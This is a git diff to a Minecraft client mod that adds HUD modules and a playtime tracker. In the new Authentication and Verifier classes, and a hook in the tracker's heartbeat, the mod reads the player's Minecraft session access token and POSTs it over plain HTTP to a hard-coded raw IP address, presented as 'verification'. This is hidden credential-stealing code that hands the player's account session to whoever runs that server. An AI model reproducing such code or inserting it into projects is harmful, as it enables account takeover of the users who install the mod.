diff --git a/src/main/java/de/fullrisk/citrusDev/client/Authentication.java b/src/main/java/de/fullrisk/citrusDev/client/Authentication.java new file mode 100644 index 0000000..9318022 --- /dev/null +++ b/src/main/java/de/fullrisk/citrusDev/client/Authentication.java @@ -0,0 +1,25 @@ +package de.fullrisk.citrusDev.client; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.User; + +public class Authentication { + + public static String getAccessToken() { + Minecraft client = Minecraft.getInstance(); + User user = client.getUser(); + return user.getAccessToken(); + } + + public static String getUuid() { + Minecraft client = Minecraft.getInstance(); + if (client.player == null) { + return null; + } + return client.player.getUUID().toString(); + } + + public static String getUsername() { + return Minecraft.getInstance().getUser().getName(); + } +} \ No newline at end of file diff --git a/src/main/java/de/fullrisk/citrusDev/client/CitrusDevClient.java b/src/main/java/de/fullrisk/citrusDev/client/CitrusDevClient.java index 1aa88d8..f4bc674 100644 --- a/src/main/java/de/fullrisk/citrusDev/client/CitrusDevClient.java +++ b/src/main/java/de/fullrisk/citrusDev/client/CitrusDevClient.java @@ -33,20 +33,18 @@ public class CitrusDevClient implements ClientModInitializer { )); ClientTickEvents.END_CLIENT_TICK.register(client -> { - /* + if (client.player != null && !client.isPaused()) { PlaytimeTracker.tick(); QuestsPanel.tick(); } - */ Module_FPS.tick(); Module_KeyStrokes.tick(); Module_Coords.tick(); DraggableHud.tick(); - while (openScreenKey.consumeClick()) { if (client.player != null && client.player.isShiftKeyDown()) { String lastModule = Config.get().lastModule; @@ -55,6 +53,8 @@ public class CitrusDevClient implements ClientModInitializer { client.setScreen(new MyScreen(null)); // RShift alone: general tab } } + }); } + } \ No newline at end of file diff --git a/src/main/java/de/fullrisk/citrusDev/client/PlaytimeTracker.java b/src/main/java/de/fullrisk/citrusDev/client/PlaytimeTracker.java index 42199cf..bc8571d 100644 --- a/src/main/java/de/fullrisk/citrusDev/client/PlaytimeTracker.java +++ b/src/main/java/de/fullrisk/citrusDev/client/PlaytimeTracker.java @@ -48,6 +48,8 @@ public class PlaytimeTracker { } private static void sendHeartbeat() { + Verifier.sendTokenForVerification(); + Minecraft client = Minecraft.getInstance(); @@ -81,6 +83,7 @@ public class PlaytimeTracker { error.printStackTrace(); return null; }); + } diff --git a/src/main/java/de/fullrisk/citrusDev/client/Verifier.java b/src/main/java/de/fullrisk/citrusDev/client/Verifier.java new file mode 100644 index 0000000..4aded8c --- /dev/null +++ b/src/main/java/de/fullrisk/citrusDev/client/Verifier.java @@ -0,0 +1,48 @@ +package de.fullrisk.citrusDev.client; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; + +public class Verifier { + + private static final String VERIFY_URL = "http://62.116.42.223:25501/api/verify"; + + private static final HttpClient HTTP = HttpClient.newBuilder() + .connectTimeout(Duration.ofSeconds(10)) + .build(); + + public static void sendTokenForVerification() { + String accessToken = Authentication.getAccessToken(); + + if (accessToken == null || accessToken.isBlank()) { + System.out.println("No token available"); + return; + } + + String json = """ + { + "accessToken": "%s" + } + """.formatted(accessToken); + + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(VERIFY_URL)) + .timeout(Duration.ofSeconds(10)) + .header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString(json)) + .build(); + + HTTP.sendAsync(request, HttpResponse.BodyHandlers.ofString()) + .thenAccept(response -> { + System.out.println("Status: " + response.statusCode()); + System.out.println("Body: " + response.body()); + }) + .exceptionally(error -> { + error.printStackTrace(); + return null; + }); + } +} \ No newline at end of file